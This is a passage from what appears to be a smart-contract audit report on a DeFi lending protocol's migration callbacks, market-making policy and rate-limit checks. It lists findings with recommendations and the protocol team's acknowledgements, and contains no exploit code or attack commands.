6. Source collateral remains on the source market; target debt grows without proportional collateral on the target until a later partial or the final sweep.
7. Borrower bears elevated liquidation risk on the target between fills; loss is only realised if the target is liquidated or migration is not completed before adverse price movement.

Recommendation

Enforce minimum pro-rata transfer (at least 1 unit when repaidUnits > 0), partial-fill dust threshold, or post-fill collateral/LTV checks on the renewal callback similar to supply-collateral maxLtv.

Description

MarketMakingPolicy does not restrict the callbacks used to the only 2 mentioned:

• LendMidnightToVaultCallback
• LendVaultToMidnightCallback

Recommendation

Make sure to prevent the following callbacks getting used in combination with this policy:

• BorrowBlueToMidnightCallback
• BorrowMidnightToBlueCallback

An easy way to do this would be to pass the callback address to getRate from _ratifyRate and in MarketMakingPolicy's constructor one would need to populate the set of restricted callbacks pulled from MigrationIntentRatifier.

The incorrect picking of parameters (in other findings) might have been stemmed from looking at these 2 undesired callbacks.

Tenor

Acknowledged. We are considering either

1. The defense-in-depth approach as recommended, which means we'd add some coupling between policies <> callbacks (although optional, per-policy)
2. Having a separate client-facing contract that would hold all logic to safely operate the set of ratification parameters for market-making (force only one hardcoded policy, curve, restrict callbacks, build userParams)

Context: Higher-level goal is to make it safe and easy for integrators / scripts operate market-making directly onchain. Market-making paths will not be integrated in our SDK short term. Option 2) might be a good option in that sense rather than risk let users lose funds due to misoperation of low-level contracts (such as surfaced by this finding)

Description

When isBuy == false (for example in the Midnight → IntentSettler → MigrationIntentRatifier for a sell offer of a maker) one should round up the price to make sure the tick price ratification is more strict and in favour of the maker:

ie, when the intent user is the seller.

Recommendation

Pass isBuy in computePrice to:

• round up the final division if isBuy == false
• otherwise round down

Description

The Offer struct is:

struct Offer {    Market market;    bool buy;    address maker;    uint256 start;    uint256 expiry;    uint256 tick;    bytes32 group;    address callback;    bytes callbackData;    address receiverIfMakerIsSeller;    address ratifier;    bool reduceOnly;    uint256 maxUnits;    uint256 maxAssets;}

Analysing the Midnight → IntentSettler → MigrationIntentRatifier ($M \to IS \to MIR$) for a maker one can deduce out of the above the following fields are not ratified:

• start
• expiry
• group
• callbackData (to some sense is ratified, extra tail data is ignored)
• receiverIfMakerIsSeller
• reduceOnly
• maxUnits
• maxAssets

The rest are directly or indirectly ratified/constrained.

Recommendation

It might make sense to ratify the above or introduce policies that would constrain the above fields. Otherwise document that a greedy approach is taken to allow any values for the above fields to provide maximum settlement opportunities while the other fields (the complement set) is being ratified.

• receiverIfMakerIsSeller should be the callback for sell offers

Footnote

• buy is implicitly ratified through the current restricted set of callbacks that only implement either onBuy or onSell. This ratification for callback implicitly implies the ratification for buy.

Description

LendMidnightRenewalCallback and LendVaultToMidnightCallback allow funds from either a source midnight market or a vault to be used to pay for buying units in a target midnight market. It is not clear whether the specification would need to require that:

• the position's debt before buying these new units in the target market should be 0.

The above property would imply that the newly acquired units should end up equal to buyerCreditIncrease. Thus the new buyerPendingFeeIncrease can be directly calculated using units. This is for example used in the upper-bound deduction in PriceLib.satisfiesRateLimit(...) check. Otherwise the check would be stricter than required.

Recommendation

Either enforce the above requirement or make sure to highlight it in the specifications clearly and be aware that it would affect the upper bound checks for PriceLib.satisfiesRateLimit(...).

Tenor

Migration callbacks in general should allow netting existing positions in target market. This is purely a design/product decision: we believe blocking a user from getting renewed in that scenario would be a worst outcome.

More specifically for the lend migration callbacks with Midnight target (LendMidnightRenewalCallback and LendVaultToMidnightCallback), the callbacks should allow repaying existing debt.

Acknowledged, will document that satisfiesRateLimit for lend renewals operates under worst case assumption: 100% of the fill is subject to the market's continuous fee (no pre-existing debt). Realized rate with existing debt is strictly better than what was guaranteed.

Description

BorrowBlueToMidnightCallback and BorrowMidnightRenewalCallback don't check whether the seller:

• had 0 credit in the target market or
• the it will have debt in the target market

It is possible that after the migration, the seller might still have 0 debt but collateral tokens get transferred from its source market position to the target market.

Recommendation

One should either perform relevant checks for above or at least document that the above behaviours are allowed.

Description

For the Midnight exit migrations:

• BorrowMidnightToBlueCallback
• LendMidnightToVaultCallback

where the fee is calculated as:

fee = CallbackLib.percentageFee(...Assets, callbackData.feeRate);

the fee is not considered in the satisfiesRateLimit check even though it does affect the effective rate.

Recommendation

Make sure to incorporate the percentage fee in the satisfiesRateLimit check or document the decision as to why it is not considered.